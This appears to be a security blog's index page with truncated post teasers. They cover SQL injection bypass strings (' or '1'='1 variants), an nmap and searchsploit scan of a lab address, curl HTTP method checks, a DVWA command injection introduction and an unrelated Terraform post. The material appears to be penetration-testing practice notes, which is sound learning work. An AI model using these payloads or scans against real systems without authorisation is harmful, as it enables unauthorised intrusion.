SQL Injection Techniques
Basic
' or '1'='1
' OR '1'='1' --
' OR '1'='1' ({
' OR '1'='1' /*
Error based Enumeration: (ID parameter in url
nmap to grab low hanging fruit
Using nmap alongside searchsploit in Kali Linux to grab any low hanging fruit:
nmap -p- -sV -oX 71-new.xml 10.10.10.71; searchsploit --nmap
Basic CURL commands
List HTTP methods:
curl -i -X OPTIONS http://10.10.10.57
-i flag to include protocol response headers in the output.
Grab HTTP Server
DVWA - Command Injection
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection
Getting started with Terraform.io
I seem to be failing to blog as much as I would have hoped, I have several articles in draft format that I just haven't